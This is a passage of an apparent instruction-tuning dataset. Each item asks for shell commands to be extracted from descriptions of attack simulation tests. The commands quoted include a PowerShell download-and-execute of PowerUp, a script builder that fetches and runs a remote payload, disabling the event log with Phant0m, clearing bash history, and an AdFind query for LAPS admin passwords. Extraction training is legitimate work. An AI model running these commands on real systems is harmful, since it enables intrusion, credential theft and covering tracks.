    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test involves executing SubInAcl, a utility historically abused by adversaries to change permissions, with the command: \"C:\\Program Files (x86)\\Windows Resource Kits\\Tools\\subinacl.exe\".; For enabling symbolic link evaluation in both remote-to-local and remote-to-remote scenarios, use the command: fsutil behavior set SymlinkEvaluation R2L:1\nfsutil behavior set SymlinkEvaluation R2R:1",
    "output": "{\"command_list\": [\"\\\"C:\\\\Program Files (x86)\\\\Windows Resource Kits\\\\Tools\\\\subinacl.exe\\\"\", \"fsutil behavior set SymlinkEvaluation R2L:1\\nfsutil behavior set SymlinkEvaluation R2R:1\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable Eventlog using Phant0m, run the following command: \"#{file_name}\"; This test modifies the ChannelAccess registry value with the command: Set-ItemProperty -Path #{ChannelPath} -Name \"ChannelAccess\" -Value \"O:SYG:SYD:(D;;0x1;;;WD)\"\nRestart-Service -Name EventLog -Force -ErrorAction Ignore, which updates the SDDL string to control who can view or modify the event log channel.",
    "output": "{\"command_list\": [\"\\\"#{file_name}\\\"\\n\", \"Set-ItemProperty -Path #{ChannelPath} -Name \\\"ChannelAccess\\\" -Value \\\"O:SYG:SYD:(D;;0x1;;;WD)\\\"\\nRestart-Service -Name EventLog -Force -ErrorAction Ignore \"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To remove traces of command line activities, an attacker might clear both the bash history cache and the history file before logging off. This can be done by executing the following commands: \ncp $HISTFILE $HISTFILE.OLD\nif ((${#HISTFILE[@]})); then echo $HISTFILE; fi\necho \"\" > $HISTFILE\nif [ $(wc -c <$HISTFILE) -gt 1 ]; then echo \"$HISTFILE is larger than 1k\"; fi\nls -la $HISTFILE \ncat $HISTFILE\nhistory -c \nif [ $(history |wc -l) -eq 1 ]; then echo \"History cache cleared\"; fi\n; To demonstrate Bash history manipulation techniques, we perform several actions including HISTCONTROL modification and command execution using the following multi-step command:\nTEST=$(echo $HISTCONTROL)\nif [ \"$HISTCONTROL\" != \"ignoreboth\" ]; then export HISTCONTROL=\"ignoreboth\"; fi\nhistory -c \nls -la $HISTFILE # \" ls -la $HISTFILE\"\nif [ $(history |wc -l) -eq 1 ]; then echo \"ls -la is not in history cache\"; fi\nif [ \"$HISTCONTROL\" != \"erasedups\" ]; then export HISTCONTROL=\"erasedups\"; fi\nhistory -c \nls -la $HISTFILE\nls -la $HISTFILE\nls -la $HISTFILE\nif [ $(history |wc -l) -eq 2 ]; then echo \"Their is only one entry for ls -la $HISTFILE\"; fi",
    "output": "{\"command_list\": [\"cp $HISTFILE $HISTFILE.OLD\\nif ((${#HISTFILE[@]})); then echo $HISTFILE; fi\\necho \\\"\\\" > $HISTFILE\\nif [ $(wc -c <$HISTFILE) -gt 1 ]; then echo \\\"$HISTFILE is larger than 1k\\\"; fi\\nls -la $HISTFILE \\ncat $HISTFILE\\nhistory -c \\nif [ $(history |wc -l) -eq 1 ]; then echo \\\"History cache cleared\\\"; fi\\n\", \"TEST=$(echo $HISTCONTROL)\\nif [ \\\"$HISTCONTROL\\\" != \\\"ignoreboth\\\" ]; then export HISTCONTROL=\\\"ignoreboth\\\"; fi\\nhistory -c \\nls -la $HISTFILE # \\\" ls -la $HISTFILE\\\"\\nif [ $(history |wc -l) -eq 1 ]; then echo \\\"ls -la is not in history cache\\\"; fi\\nif [ \\\"$HISTCONTROL\\\" != \\\"erasedups\\\" ]; then export HISTCONTROL=\\\"erasedups\\\"; fi\\nhistory -c \\nls -la $HISTFILE\\nls -la $HISTFILE\\nls -la $HISTFILE\\nif [ $(history |wc -l) -eq 2 ]; then echo \\\"Their is only one entry for ls -la $HISTFILE\\\"; fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test runs an LDAP query with adfind, displaying all attributes along with LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime, via the command: & \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" #{optional_args} -h #{domain} -s subtree -f \"objectclass=computer\" *; This test runs an LDAP query via the command: & \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" #{optional_args} -h #{domain} -s subtree -f \"objectclass=computer\" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime\n",
    "output": "{\"command_list\": [\"& \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" #{optional_args} -h #{domain} -s subtree -f \\\"objectclass=computer\\\" *\\n\", \"& \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" #{optional_args} -h #{domain} -s subtree -f \\\"objectclass=computer\\\" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For checking privilege escalation possibilities with PowerUp, execute this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\nInvoke-AllChecks; To search through bash history for specific commands, use the following command: cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file}\n",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\\n\", \"cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following command creates a Python file that downloads a script and executes it with specified arguments:\nwhich_python=$(which python || which python3 || which python3.9 || which python2)\necho 'import requests' > #{python_script_name}\necho 'import os' >> #{python_script_name}\necho 'url = \"#{script_url}\"' >> #{python_script_name}\necho 'malicious_command = \"#{executor} #{payload_file_name} #{script_args}\"' >> #{python_script_name}\necho 'session = requests.session()' >> #{python_script_name}\necho 'source = session.get(url).content' >> #{python_script_name}\necho 'fd = open(\"#{payload_file_name}\", \"wb+\")' >> #{python_script_name}\necho 'fd.write(source)' >> #{python_script_name}\necho 'fd.close()' >> #{python_script_name}\necho 'os.system(malicious_command)' >> #{python_script_name}\n$which_python #{python_script_name}\n; You can generate a malicious Python binary by executing this command, which creates a script to download and run an external payload:\nwhich_python=$(which python || which python3 || which python3.9 || which python2)\necho 'import requests' > #{python_script_name}\necho 'import os' >> #{python_script_name}\necho 'url = \"#{script_url}\"' >> #{python_script_name}\necho 'malicious_command = \"#{executor} #{payload_file_name} #{script_args}\"' >> #{python_script_name}\necho 'session = requests.session()' >> #{python_script_name}\necho 'source = session.get(url).content' >> #{python_script_name}\necho 'fd = open(\"#{payload_file_name}\", \"wb+\")' >> #{python_script_name}\necho 'fd.write(source)' >> #{python_script_name}\necho 'fd.close()' >> #{python_script_name}\necho 'os.system(malicious_command)' >> #{python_script_name}\n$which_python -c 'import py_compile; py_compile.compile(\"#{python_script_name}\", \"#{python_binary_name}\")'\n$which_python #{python_binary_name}",
    "output": "{\"command_list\": [\"which_python=$(which python || which python3 || which python3.9 || which python2)\\necho 'import requests' > #{python_script_name}\\necho 'import os' >> #{python_script_name}\\necho 'url = \\\"#{script_url}\\\"' >> #{python_script_name}\\necho 'malicious_command = \\\"#{executor} #{payload_file_name} #{script_args}\\\"' >> #{python_script_name}\\necho 'session = requests.session()' >> #{python_script_name}\\necho 'source = session.get(url).content' >> #{python_script_name}\\necho 'fd = open(\\\"#{payload_file_name}\\\", \\\"wb+\\\")' >> #{python_script_name}\\necho 'fd.write(source)' >> #{python_script_name}\\necho 'fd.close()' >> #{python_script_name}\\necho 'os.system(malicious_command)' >> #{python_script_name}\\n$which_python #{python_script_name}\\n\", \"which_python=$(which python || which python3 || which python3.9 || which python2)\\necho 'import requests' > #{python_script_name}\\necho 'import os' >> #{python_script_name}\\necho 'url = \\\"#{script_url}\\\"' >> #{python_script_name}\\necho 'malicious_command = \\\"#{executor} #{payload_file_name} #{script_args}\\\"' >> #{python_script_name}\\necho 'session = requests.session()' >> #{python_script_name}\\necho 'source = session.get(url).content' >> #{python_script_name}\\necho 'fd = open(\\\"#{payload_file_name}\\\", \\\"wb+\\\")' >> #{python_script_name}\\necho 'fd.write(source)' >> #{python_script_name}\\necho 'fd.close()' >> #{python_script_name}\\necho 'os.system(malicious_command)' >> #{python_script_name}\\n$which_python -c 'import py_compile; py_compile.compile(\\\"#{python_script_name}\\\", \\\"#{python_binary_name}\\\")'\\n$which_python #{python_binary_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The commands known to be used by Qakbot during reconnaissance activities include: \"#{recon_commands}\"\n; For testing the macOS firewall status and examining its rules, you'll need to execute these commands with elevated privileges: sudo defaults read /Library/Preferences/com.apple.alf\nsudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate\n",
    "output": "{\"command_list\": [\"\\\"#{recon_commands}\\\"\\n\", \"sudo defaults read /Library/Preferences/com.apple.alf\\nsudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate\\n\"]}"
  },
  {
